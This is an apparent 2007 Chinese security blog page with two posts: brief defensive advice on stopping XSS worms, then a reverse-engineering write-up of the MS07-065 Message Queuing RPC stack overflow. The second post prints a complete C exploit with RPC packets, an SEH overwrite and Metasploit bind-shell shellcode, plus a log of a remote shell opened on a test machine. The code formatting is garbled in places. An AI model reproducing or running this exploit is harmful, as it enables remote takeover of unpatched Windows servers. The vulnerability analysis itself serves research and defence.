2007年12月28日星期五

[Tips]XSS Worm Defense

by axis
2007-12-29
http://www.ph4nt0m.org


近日XSS WORM愈演愈烈,随着AJAX技术的发展,这种XSS的高级攻击技巧已经成为了当今的热点。

在圣诞节,baidu个人空间遭受了一次前所未有的XSS WORM攻击,在短短时间内,8700个博客页面被修改,并进行传播,baidu在26日fix了该漏洞,并发了一个公告

http://hi.baidu.com/%B0%D9%B6%C8%BF%D5%BC%E4/blog/item/0e3433fa69eeb61aa8d3110f.html

对于该次WORM攻击,在剑心的blog上有完整的技术分析:
http://www.loveshell.net/blog/blogview.asp?logID=283

对比以前的myspace的XSS WORM,近日的orkut、baidu等的xss worm陆续爆发,说明这一危害日益严重。 可以预见的是在2008年,xss worm将成为攻防的焦点。


对于XSS WORM的防御,可以从以下几点出发考虑:(这里不会涉及太多细节)
1. 断其源头
XSS WORM的必要条件是网站存在XSS 漏洞,而且这个XSS漏洞必须是 persistent (或者叫做 store)类型的XSS,该漏洞必须与网站的其他用户发生交互。

既然是store类型的XSS,那么就为在服务端控制提供了可能(如果是基于DOM的,则可能不从服务端过)。 所以使用一个 security-tier 来控制XSS 是必要的选择。

这个security-tier的选择可以有很多,比如anti-samy一类的项目,或者是mod-security等,其目的都是进行 Input Validation. 比较彻底的做法是使用 htmlencode来对输出进行escape,这适用于用户输出不需要html的地方,在code review的时候应该尽可能的去找出这些地方。

如果input validation做的比较彻底的话,就断了XSS WORM的源头,从而让攻击跑不起来



2. 检查所有用户之间发生交互的地方

这也是XSS WORM发生的充分条件

检查业务逻辑上,用户交互最为密集的地方,然后针对这些地方,加强XSS FILTER的检查,缩小Attack Surface


3. 使用验证码或者密码来验证重要应用流程

根据2的结果,在敏感应用时使用验证码或者密码来验证用户身份。这样做的好处是可以及时阻断攻击流程,让攻击无法连续的跑起来,将XSS的影响降低到最小。

但是坏处也同样明显,因为出于商业需求,很多地方可能无法使用验证码,可用性与安全的平衡再一次受到考验。


4. 使用一个处于比较核心位置的功能来阻断连续提交

一般XSS WORM的构造是在某一个页面上,也就是说用户在触发XSS后可能在一瞬间执行所有的JS代码,这些代码包括寻找好友的list,然后对这些好友的list发送新的XSS PAYLOAD。

根据2的检查结果,对于这些敏感应用,比如对好友发送message,或者是提交文章一类,设置提交间隔,在提交一次后,需要在一定时间之后,才能再次提交。尽可能将损失降到最低。


5. 完善的log机制

不论是apache log,还是单独应用的用户行为log,都要针对xss worm重新设计过,在敏感位置布点。有助于在第一时间发现问题,并且进行fix。

同时在“缉凶”的过程中,这些日志也非常重要。


6. 法律需要进一步完善

很明显,法律需要进一步给XSS WORM下定义。


本文只是抛砖引玉,并没有描述更多的细节。

而XSS WORM最为厉害的时候,将形成跨不同网站的WORM,利用多个网站互相之间的交互性,来传播到不同的网站上,也造成了更难追溯源头。

在防御XSS WORM领域,还有很多工作需要做。可以充分发挥你的想象力,还有更多的手段可以用在对抗的过程中,比如在每个页面布点监控等,在2008年的XSS WORM大潮来临之前,希望大家能都做好防洪的准备!

2007年12月16日星期日

[Paper]MS07-065 Message Queuing Service RPC远程溢出分析

Author: axis
Date: 2007-12-17
Team: http://www.ph4nt0m.org

Text Mode


微软的补丁链接
http://www.microsoft.com/technet/security/bulletin/ms07-065.mspx

根据ZDI的漏洞描述:
The specific flaw exists in the RPC interface defined on port 2103 with
UUID fdb3a030-065f-11d1-bb9b-00a024ea5525. During the processing of
opnum 0x06 the service copies user-supplied information into a fixed
length stack buffer. Sending at least 300 bytes will trigger a stack
based buffer overflow due to a vulnerable wcscat() call. Exploitation
of this issue can result in arbitrary code execution.

漏洞是在UUID fdb3a030-065f-11d1-bb9b-00a024ea5525 的第6个调用引起的。最终通过一个 wcscat()的拷贝造成一个栈溢出.

查找了一下关于这个接口的一些定义
http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html

The Message Queuing service (msmq) runs RPC services, listening on the ncacn_ip_tcp transport. By default, the msmq services opens 4 TCP ports [81], including one or several of 2101/tcp, 2103/tcp, 2105/tcp and 2107/tcp.

The mqqm.dll (Windows NT MQ Queue Manager) DLL, loaded in the mqsvc.exe process, contains the following RPC services:

fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0
1088a980-eae5-11d0-8d9b-00a02453c337 v1.0
5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0
41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0

Table 4.49. qmcomm operations

Interface

Operation number

Operation name

fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0: qmcomm




0x00

QMOpenQueue


0x01

QMGetRemoteQueueName


0x02

QMOpenRemoteQueue


0x03

QMCloseRemoteQueueContext


0x04

QMCreateRemoteCursor


0x05

QMSendMessageInternal


0x06

QMCreateObjectInternal

。。。。。。


事实上,这个服务运行在2101、2103、2105、2107端口,根据我后来的结果可以看到,这些端口都能够直接溢出

这个漏洞被微软标记为important,因为在2003偷偷修复了,在xp和2000 professional版本上,这个漏洞利用时候需要验证用户密码,只有在2000 server上,才能够无须身份验证的触发溢出。

Windows默认是没有装这个服务的,要安装这个服务可以在添加删除程序里,选择添加windows组件。


如果是英文版的系统,那么这里可能叫做 Message Queuing

安装完之后,可以通过 net start msmq 来启动服务。

服务的进程是 mqsvc.exe, 而服务是在 mqqm.dll 中,所以我们可以反汇编这个dll文件



用IDA反汇编mqqm.dll后,用mida插件逆向出RPC调用



导出IDL文件后,可以看到函数结构如下:
/* opcode: 0x06, address: 0x613B5F03 */

long  _QMCreateObjectInternal (
 [
inlong arg_1,
 [
in][string] wchar_t * arg_2,
 [
in][range(0,524288)] long arg_3,
 [
in][unique][size_is(arg_3)] char * arg_4,
 [
in][range(1,128)] long arg_5,
 [
in][size_is(arg_5)] long arg_6[],
 [
in][size_is(arg_5)] struct struct_4 arg_7[]
);




这个函数结构暂时先不管他,也可以自己重新构造了一个IDL文件.

通过IDA看 _QMCreateObjectInternal 函数,没过多久就看出了问题所在

在 QMCreatePrivateQueue 中的 ReplaceDNSNameWithNetBiosName 中,没有对输入进行充分检查,wcscat()导致了一个栈溢出。
int __cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)
?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z proc near

Str
= dword ptr  4
Dest
= dword ptr  8

push    esi
push    5Ch             ; Ch
push    [esp
+8+Str]     ; Str
call    ds:__imp__wcschr
pop     ecx
mov     esi, eax
pop     ecx
push    
?g_szMachineName@@3PAGA ; Source
push    [esp
+8+Dest]    ; Dest
call    ds:__imp__wcscpy
pop     ecx
pop     ecx
push    esi             ; Source
push    [esp
+8+Dest]    ; Dest
call    ds:__imp__wcscat           
// 溢出
pop     ecx
pop     ecx
pop     esi
retn
?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z endp


伪代码:
wchar_t *__cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)
{
  wchar_t 
*v3; // esi@1

  v3 
= _wcschr(Str, 0x5Cu);
  _wcscpy(Dest, g_szMachineName);
  
return _wcscat(Dest, v3);
}

这里我们后面再回过头来看。


那么,函数调用是这样的:
_QMCreateObjectInternal
           
|---------------QMCreatePrivateQueue
                             
|-------------------ReplaceDNSNameWithNetBiosName





_QMCreateObjectInternal的伪代码为:

signed 
int __thiscall QMCreateObjectInternal(struct _RTL_CRITICAL_SECTION *this, RPC_BINDING_HANDLE Binding, unsigned int Type, wchar_t *Str, int a5, int a6, int a7, int a8, int a9)
{
  __int32 v10; 
// edi@6
  __int32 v11; // eax@7
  int v12; // ST18_4@9
  struct _RTL_CRITICAL_SECTION *v13; // [sp+4h] [bp-10h]@1
  int v14; // [sp+10h] [bp-4h]@4

  v13 
= this;
  
if ( a5 && !a6 )
  {
    LogMsgHR(
-1072824314, off_6B27271C, 0x125u);
    
return -1072824314;
  }
  v13 
= &qmcmd_cs;
  EnterCriticalSection(
&qmcmd_cs);
  v14 
= 0;
  
if ( Type == 1 )
  {
    v12 
= 1;
    
goto LABEL_14;
  }
  
if ( Type == 2 )
  {
    Type 
= 0;
    v11 
= I_RpcBindingInqTransportType(Binding, &Type);
    
if ( v11 )
      
goto LABEL_20;
    
if ( Type == 4 )
    {
      v12 
= 0;
LABEL_14:
      v10 
= CQPrivate__QMCreatePrivateQueue(Str, a5, a6, a7, a8, a9, v12);
      
goto LABEL_15;
    }
    
if ( v11 )
LABEL_20:
      LogMsgRPCStatus(v11, off_6B27271C, 
0x28u);
    LeaveCriticalSection(
&qmcmd_cs);
    
return -1072824283;
  }
  v10 
= -1072824319;
LABEL_15:
  
if ( v10 < 0 )
    LogMsgHR(v10, off_6B27271C, 
0x32u);
  LeaveCriticalSection(
&qmcmd_cs);
  
return v10;
}





============= 这是华丽的分割线 ================





首先要调用到 QMCreatePrivateQueue .

我们看到以下是依次是 _QMCreateObjectInternal的六个参数
Type= dword ptr 0Ch
Str= dword ptr 10h
arg_C= dword ptr 14h
arg_10= dword ptr 18h
arg_14= dword ptr 1Ch
arg_18= dword ptr 20h
arg_1C= dword ptr 24h

看以下代码片段
loc_6B22555B:           ; CCriticalSection qmcmd_cs
mov     esi, offset 
?qmcmd_cs@@3VCCriticalSection@@A
push    esi             ; lpCriticalSection
mov     [ebp
+var_10], esi
call    ds:__imp__EnterCriticalSection@
4 ; EnterCriticalSection(x)
mov     eax, [ebp
+Type]
mov     [ebp
+var_4], ebx
dec     eax
jz      
short loc_6B2255C1


在代码中,如果eax为1,dec eax后条件为真,会跳转到QMCreatePrivateQueue 去执行

而eax是由mov eax, [ebp+Type]传入的

所以要让流程走到QMCreatePrivateQueue
_QMCreateObjectInternal的第一个参数必须是为0x00000001

以下是 QMCreatePrivateQueue的调用
loc_6B2255C3:           ; int
push    [ebp
+arg_1C]
mov     ecx, offset 
?g_QPrivate@@3VCQPrivate@@A ; CQPrivate g_QPrivate
push    [ebp
+arg_18]    ; int
push    [ebp
+arg_14]    ; int
push    [ebp
+arg_10]    ; int
push    [ebp
+arg_C]     ; int
push    [ebp
+Str]       ; Str
call    
?QMCreatePrivateQueue@CQPrivate@@QAEJPBGKPAXKQAKQAUtagPROPVARIANT@@H@Z ; CQPrivate::QMCreatePrivateQueue(ushort const *,ulong,void *,ulong,ulong * const,tagPROPVARIANT * const,int)


实际上,我们在后面可以看到,漏洞是由于QMCreatePrivateQueue的第一个参数,也就是_QMCreateObjectInternal的第二个参数所造成的。


进入QMCreatePrivateQueue 之后,我们要调用到 ReplaceDNSNameWithNetBiosName.
以下是代码片段
.text:6B2178A9                 mov     eax, offset sub_6B25BE64
.text:6B2178AE                 call    __EH_prolog
.text:6B2178B3                 sub     esp, 138h
.text:6B2178B9                 push    ebx
.text:6B2178BA                 push    esi
.text:6B2178BB                 mov     esi, [ebp
+8]
.text:6B2178BE                 lea     eax, [ebp
-1Ch]
.text:6B2178C1                 push    edi
.text:6B2178C2                 push    eax             ; 
int
.text:6B2178C3                 mov     [ebp
-18h], ecx
.text:6B2178C6                 push    esi             ; Source
.text:6B2178C7                 call    
?IsPathnameForLocalMachine@@YAHPBGPAH@Z ; IsPathnameForLocalMachine(ushort const *,int *)
.text:6B2178CC                 xor     ebx, ebx              ; ebx 清0
.text:6B2178CE                 pop     ecx
.text:6B2178CF                 cmp     eax, ebx      ; 比较ispath函数的返回值
.text:6B2178D1                 pop     ecx
.text:6B2178D2                 jnz     
short loc_6B2178EC     ; 这里有个判断


.text:6B2178EC                 cmp     [ebp
-1Ch], ebx    ; 这里有个判断
.text:6B2178EF                 jz      
short loc_6B217906
.text:6B2178F1                 lea     eax, [ebp
-144h]     ; 在栈上
.text:6B2178F7                 push    eax             ; Dest
.text:6B2178F8                 push    esi             ; Str   我们传入的参数
.text:6B2178F9                 call    
?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z ; ReplaceDNSNameWithNetBiosName(ushort const *,ushort *)






========== 这是聪明的分割线 ============




要走到 ReplaceDNSNameWithNetBiosName ,就需要先绕过 IsPathnameForLocalMachine 这个函数。 我在绕过这个函数上走了很多弯路,花了许多功夫。

看看IsPathnameForLocalMachine函数:

中间分析过程很多,这里我就拿重要的说
mov     eax, offset sub_6B25D54C
call    __EH_prolog
sub     esp, 204h
push    ebx
push    esi
lea     eax, [ebp
+String1]
push    edi
push    eax             ; Dest
push    [ebp
+Source]    ; Source
call    
?ExtractMachineName@@YAXPBGPAG@Z ; ExtractMachineName(ushort const *,ushort *)     
mov     eax, [ebp
+arg_4]
pop     ecx
pop     ecx
mov     esi, ds:__imp__CompareStringW@
24 ; CompareStringW(x,x,x,x,x,x)
and     dword ptr [eax], 
0
push    0FFFFFFFFh      ; cchCount2
push    
?g_szMachineName@@3PAGA ; lpString2
lea     eax, [ebp
+String1]
mov     edi, 800h
push    0FFFFFFFFh      ; cchCount1
push    eax             ; lpString1
push    
1               ; dwCmpFlags
push    edi             ; Locale
call    esi ; CompareStringW(x,x,x,x,x,x) ; CompareStringW(x,x,x,x,x,x)
dec     eax
dec     eax
jnz     
short loc_6B2344E9

ExtractMachineName(ushort const *,ushort *) 这个函数把\x5c 就是斜杠前的名字,就是机器名拷贝到某处,所以我们的传入参数里要有斜杠。

然后CompareStringW(x,x,x,x,x,x) 函数,把我们传入的斜杠前的那部分和 机器名比较,这里机器名是通过
push ?g_szMachineName@@3PAGA ; lpString2
取得的,所以是一个定值。

对比完后,我们要让返回值不能为2,因为要跳转到下面的地方:
loc_6B2344E9:
lea     eax, [ebp
+String1]
push    2Eh             ; Ch
push    eax             ; Str
call    ds:__imp__wcschr
pop     ecx
test    eax, eax
pop     ecx
jz      loc_6B2345DD


这里会把刚才斜杠前的那部分拿来比较,看中间有没有点,我们要让跳转条件非真,所以我们的传入参数中要带一个“.” 就是\x2e

然后我们控制流程来到
push    ?g_szMachineName@@3PAGA ; Str
mov     ebx, ds:__imp__wcslen
call    ebx ; __imp__wcslen
pop     ecx
push    eax             ; cchCount2
mov     eax, 
?g_szMachineName@@3PAGA ; ushort * g_szMachineName
push    eax             ; lpString2
push    eax             ; Str
call    ebx ; __imp__wcslen
pop     ecx
push    eax             ; cchCount1
lea     eax, [ebp
+String1]
push    eax             ; lpString1
push    
1               ; dwCmpFlags
push    edi             ; Locale
call    esi ; CompareStringW(x,x,x,x,x,x) ; CompareStringW(x,x,x,x,x,x)
dec     eax
dec     eax
jnz     loc_6B2345DD


这里再次把机器名和我们传入的参数比较了一次, 这时候要让跳转条件不成立

流程继续走到
.text:6B234531                 push    ?g_szMachineName@@3PAGA ; Str
.text:6B234537                 call    ebx ; __imp__wcslen
.text:6B234539                 cmp     [ebp
+eax*2+String1], 2Eh
.text:6B234542                 pop     ecx
.text:6B234543                 jnz     loc_6B2345DD
.text:6B234549                 mov     eax, 
?g_szComputerDnsName@@3V?$AP@G@@A ; AP<ushort> g_szComputerDnsName
.text:6B23454E                 test    eax, eax
.text:6B234550                 jz      
short loc_6B234570
.text:6B234552                 lea     ecx, [ebp
+String1]
.text:6B234558                 push    ecx             ; Str2
.text:6B234559                 push    eax             ; Str1
.text:6B23455A                 call    ds:__imp___wcsicmp  ;比较字符串
.text:6B234560                 pop     ecx
.text:6B234561                 test    eax, eax
.text:6B234563                 pop     ecx
.text:6B234564                 jnz     
short loc_6B234570   ; 这里不能跳转
.text:6B234566                 mov     ecx, [ebp
+arg_4]
.text:6B234569                 push    
1
.text:6B23456B                 pop     eax
.text:6B23456C                 mov     [ecx], eax
.text:6B23456E                 jmp     
short loc_6B2345DF


注意这里
mov     eax, ?g_szComputerDnsName@@3V?$AP@G@@A ; AP<ushort> g_szComputerDnsName
test    eax, eax
jz      
short loc_6B234570


这个dns name是从机器中取的
.text:6B234552                 lea     ecx, [ebp+String1]
.text:6B234558                 push    ecx             ; Str2
.text:6B234559                 push    eax             ; Str1
.text:6B23455A                 call    ds:__imp___wcsicmp


然后马上比较两个串是否相同。

根据我们的流程需要,最后要走到
mov     ecx, [ebp+arg_4]
push    
1
pop     eax
mov     [ecx], eax
jmp     
short loc_6B2345DF


然后这个天杀的 IsPathnameForLocalMachine 就总算返回为真了,而且我们同时绕过了以下两处的判断:
.text:6B2178CF                 cmp     eax, ebx      ; 比较ispath函数的返回值
.text:6B2178D1                 pop     ecx
.text:6B2178D2                 jnz     
short loc_6B2178EC     ; 这里有个判断


.text:6B2178EC                 cmp     [ebp
-1Ch], ebx    ; 这里有个判断
.text:6B2178EF                 jz      
short loc_6B217906


从而让函数流程顺利的执行到了 ReplaceDNSNameWithNetBiosName

小结下绕过 IsPathnameForLocalMachine 的条件:
1. 要发送个 目标机器的dnsname 加上 一个斜杠 \
2. 要是unicode字符串发送dnsname

实际上从 ReplaceDNSNameWithNetBiosName 这个函数的名字也可以看出来,是要把DNS name替换为 机器名。

同时也可以看出来这个漏洞的利用条件: 需要知道目标机器的dnsname。
一般如果机器在域里面,那就是域后缀。
如下图:


我的机器名是: a-dda41398f44f4
DNS后缀是: .fuck

注意这个“.”很重要,在触发条件中是一定要的。






========= 这是要抓狂的分割线 =================





现在回过头来看 ReplaceDNSNameWithNetBiosName 的代码:
push    esi
push    5Ch             ; Ch
push    [esp
+8+Str]     ; Str
call    ds:__imp__wcschr
pop     ecx
mov     esi, eax
pop     ecx
push    
?g_szMachineName@@3PAGA ; Source
push    [esp
+8+Dest]    ; Dest
call    ds:__imp__wcscpy
pop     ecx
pop     ecx
push    esi             ; Source
push    [esp
+8+Dest]    ; Dest
call    ds:__imp__wcscat


就是把 \ 后面的字符串,wcscat到 机器名后面, 而这个拷贝发生在栈上,没有做长度检查,发生了栈溢出。


最后我使用覆盖seh 的方法利用成功发送超过2000 bytes字节的stub,保证覆盖到栈底触发异常,然后call ebx执行shellcode


下面是一个装B的exploit,只适用于我的机器(机器名是a-dda41398f44f4 , dns 后缀是.fuck ),如果你要修改,需要考虑到机器名的不同带来的影响,要重新计算payload长度值. 为啥说这是装B的exploit呢,因为明明有更清晰的exploit写法我不写,要写个可以忽悠很多人的。所以说大家要是以前看到过这种exploit写法又看不懂,那不要灰心,那个人只是和我一样在装B而已!

Exploit运行效果:


Shellcode 使用exitthread退出线程,则可以反复溢出,如果使用seh退出,则会反复执行你的shellcode







======== 这是装B的分割线 ===============


/*
Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065)
by axis
http://www.ph4nt0m.org

  you should know the dnsname of target to trigger this vuln
  the service runs on port 2103/2105/2107

D:\soft\develop\MyProjects\temp\Debug>temp.exe -h 192.168.152.100 -p 2103
--------------------------------------------------------------------------
-== Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065) ==-
-== code by axis@ph4nt0m ==-
-== Http://www.ph4nt0m.org ==-
-== Tested against Windows 2000 server SP4 ==-
--------------------------------------------------------------------------

[+] Attacking default port 2103
[*]Sending our Payload, Good Luck! ^_^
[*]Sending RPC Bind String!
[*]Sending RPC Request Now!

D:\soft\develop\MyProjects\temp\Debug>


D:\>nc -vv -n 192.168.152.100 1154
(UNKNOWN) [192.168.152.100] 1154 (?) open: unknown socket error
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>exit
exit
sent 5, rcvd 109: NOTSOCK

D:\>


*/
#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<ctype.h>
#include 
<winsock.h>
#include 
<io.h>
#pragma comment(lib,
"ws2_32")

// RPC Bind UUID: fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
char bind_str[] = {
0x050x000x0b0x030x100x000x000x00
0x480x000x000x000x010x000x000x00
0xd00x160xd00x160x000x000x000x00
0x010x000x000x000x000x000x010x00
0x300xa00xb30xfd0x5f0x060xd10x11
0xbb0x9b0x000xa00x240xea0x550x25
0x010x000x000x000x040x5d0x880x8a
0xeb0x1c0xc90x110x9f0xe80x080x00
0x2b0x100x480x600x020x000x000x00 };


// RPC Request  Opnum: 0x06  
char request_1[] = {
0x050x000x000x810x100x000x000x00
0xd00x160x000x000x010x000x000x00
0x980x170x000x000x000x000x060x00
0x300xa00xb30xfd0x5f0x060xd10x11
0xbb0x9b0x000xa00x240xea0x550x25
0x010x000x000x000xba0x0b0x000x00
0x000x000x000x000xba0x0b0x000x00
0x610x000x2d0x000x640x000x640x00,  // target's dns name (unicode)
0x610x000x340x000x310x000x330x00
0x390x000x380x000x660x000x340x00
0x340x000x660x000x340x000x2e0x00
0x660x000x750x000x630x000x6b0x00
0x5c0x000x000xcc0x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410xeb0x060x420x420x320xb0,     // \xeb\x06\x42\x42 jmpcode 
0x010x780x2b0xc90x830xe90xb00xd9,     //  overwrite seh ; call ebx
0xee0xd90x740x240xf40x5b0x810x73,     //  bindshell on port 1154, metasploit shellcode
0x130x1d0x820x670xb40x830xeb0xfc
0xe20xf40xe10xe80x8c0xf90xf50x7b
0x980x4b0xe20xe20xec0xd80x390xa6
0xec0xf10x210x090x1b0xb10x650x83
0x880x3f0x520x9a0xec0xeb0x3d0x83
0x8c0xfd0x960xb60xec0xb50xf30xb3
0xa70x2d0xb10x060xa70xc00x1a0x43
0xad0xb90x1c0x400x8c0x400x260xd6
0x430x9c0x680x670xec0xeb0x390x83
0x8c0xd20x960x8e0x2c0x3f0x420x9e
0x660x5f0x1e0xae0xec0x3d0x710xa6
0x7b0xd50xde0xb30xbc0xd00x960xc1
0x570x3f0x5d0x8e0xec0xc40x010x2f
0xec0xf40x150xdc0x0f0x3a0x530x8c
0x8b0xe40xe20x540x010xe70x7b0xea
0x540x860x750xf50x140x860x420xd6
0x980x640x750x490x8a0x480x260xd2
0x980x620x420x0b0x820xd20x9c0x6f
0x6f0xb60x480xe80x650x4b0xcd0xea
0xbe0xbd0xe80x2f0x300x4b0xcb0xd1
0x340xe70x4e0xd10x240xe70x5e0xd1
0x980x640x7b0xea0x630x360x7b0xd1
0xee0x550x880xea0xc30xae0x6d0x45
0x300x4b0xcb0xe80x770xe50x480x7d
0xb70xdc0xb90x2f0x490x5d0x4a0x7d
0xb10xe70x480x7d0xb70xdc0xf80xcb
0xe10xfd0x4a0x7d0xb10xe40x490xd6
0x320x4b0xcd0x110x0f0x530x640x44
0x1e0xe30xe20x540x320x4b0xcd0xe4
0x0d0xd00x7b0xea0x040xd90x940x67
0x0d0xe40x440xab0xab0x3d0xfa0xe8
0x230x3d0xff0xb30xa70x470xb70x7c
0x250x990xe30xc00x4b0x270x900xf8
0x5f0x1f0xb60x290x0f0xc60xe30x31
0x710x4b0x680xc60x980x620x460xd5
0x350xe50x4c0xd30x0d0xb50x4c0xd3
0x320xe50xe20x520x0f0x190xc40x87
0xa90xe70xe20x540x0d0x4b0xe20xb5
0x980x640x960xd50x9b0x370xd90xe6
0x980x620x4f0x7d0xb70xdc0xf20x4c
0x870xd40x4e0x7d0xb10x4b0xcd0x82
0x670xb40x410x410x410x410x410x41};


char request_2[] = {
0x050x000x000x820x100x000x000x00
0x180x010x000x000x010x000x000x00
0xf00x000x000x000x000x000x060x00
0x300xa00xb30xfd0x5f0x060xd10x11
0xbb0x9b0x000xa00x240xea0x550x25
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x410x410x410x410x410x410x410x41
0x010x000x000x000x000x000x000x00
0x000x000x000x000x000x000x000x00
0x000x000x000x000x000x000x000x00 };



void usage(char *argv) {
   printf(
" Usage:   %s -h 127.0.0.1 (Universal exploit)\n",argv);
   printf(
"          %s -h host [-p port]\n",argv);
   printf(
" Targets:\n");
   exit(
1);    
}



/************* TCP connect *************************/

void Disconnect(SOCKET s);


// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    
struct sockaddr_in target;
    SOCKET s;
    
int i;
    DWORD bf;
    fd_set wd;
    
struct timeval tv;

    s 
= socket(AF_INET,SOCK_STREAM,0);
    
if(s<0)
        
return -1;

    target.sin_family 
= AF_INET;
    target.sin_addr.s_addr 
= inet_addr(address);
    
if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        
return -2;
    }
    target.sin_port 
= htons((short)port);
    bf 
= 1;
    ioctlsocket(s,FIONBIO,
&bf);
    tv.tv_sec 
= timeout;
    tv.tv_usec 
= 0;
    FD_ZERO(
&wd);
    FD_SET(s,
&wd);
    connect(s,(
struct sockaddr *)&target,sizeof(target));
    
if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        
return -3;
    }
    
if(i==0)
    {
        closesocket(s);
        
return -4;
    }
    i 
= sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(
char *)&bf,&i);
    
if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        
return -5;
    }
    ioctlsocket(s,FIONBIO,
&bf);
    
return s;
}


void Disconnect(SOCKET s)
{
    closesocket(s);
    WSACleanup();
}

/****************************************************/



int main(int argc, char * argv[]){

   unsigned 
char * target = NULL;
   
int port = 2103;
   
int i;

   
int  ret;
   
char buffer[6000= {0};
   SOCKET  s;
   WSADATA WSAData;

   printf(
"--------------------------------------------------------------------------\n");
   printf(
"-== Windows Message Queuing Service RPC BOF Exploit (MS07-065) ==-\n");
   printf(
"-== code by axis@ph4nt0m ==-\n");
   printf(
"-== Http://www.ph4nt0m.org ==-\n");
   printf(
"-== Tested against Windows 2000 server SP4 ==-\n");
   printf(
"--------------------------------------------------------------------------\n\n");


    
if (argc==1) usage(argv[0]); //Handle parameters
     for(i=1;i<argc;i++) {
      
if ( (argv[i][0]=='-') ) {
         
switch (argv[i][1]) {
         
case 'h':
            target
=(unsigned char *)argv[i+1];
            
break;
         
case 'p':
            
if (strcmp(argv[i+1],"2103")==0) {
               printf(
"[+] Attacking default port 2103\n");
            } 
else {
               port
=atoi(argv[i+1]);
            }
            
break;             
         
default:
            printf(
"[-] Invalid argument: %s\n",argv[i]);
            usage(argv[
0]);
            
break;
         }
         i
++;            
      } 
else usage(argv[0]);
     }

/********************** attack payload ***************************/
         
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
         {
            fprintf(stderr, 
"[-] WSAStartup failed.\n");
            WSACleanup();
            exit(
1);
         }


         
//Sleep(1200);


         s 
= Make_Connection((char *)target, port, 10);
         
if(s<0)
         {
            fprintf(stderr, 
"[-] connect err.\n");
            exit(
1);
         }

        
//Send our evil Payload         
        printf("[*]Sending our Payload, Good Luck! ^_^\n");
  
        printf(
"[*]Sending RPC Bind String!\n");
        send(s, bind_str, 
sizeof(bind_str), 0);

        Sleep(
1000);
        
        printf(
"[*]Sending RPC Request Now!\n");
        memset(buffer, 
'\x41'sizeof(buffer));  // fil the buffer to trigger seh
        send(s, request_1, sizeof(request_1), 0);
        send(s, buffer, 
51040);   // fil the buffer to trigger seh
        send(s, request_2, sizeof(request_2), 0);
        

        Sleep(
100);

        memset(buffer, 
0sizeof(buffer));
        ret 
= recv(s, buffer, sizeof(buffer)-10);
        
//printf("recv: %s\n", buffer);

        Disconnect(s);

        
return 0;
}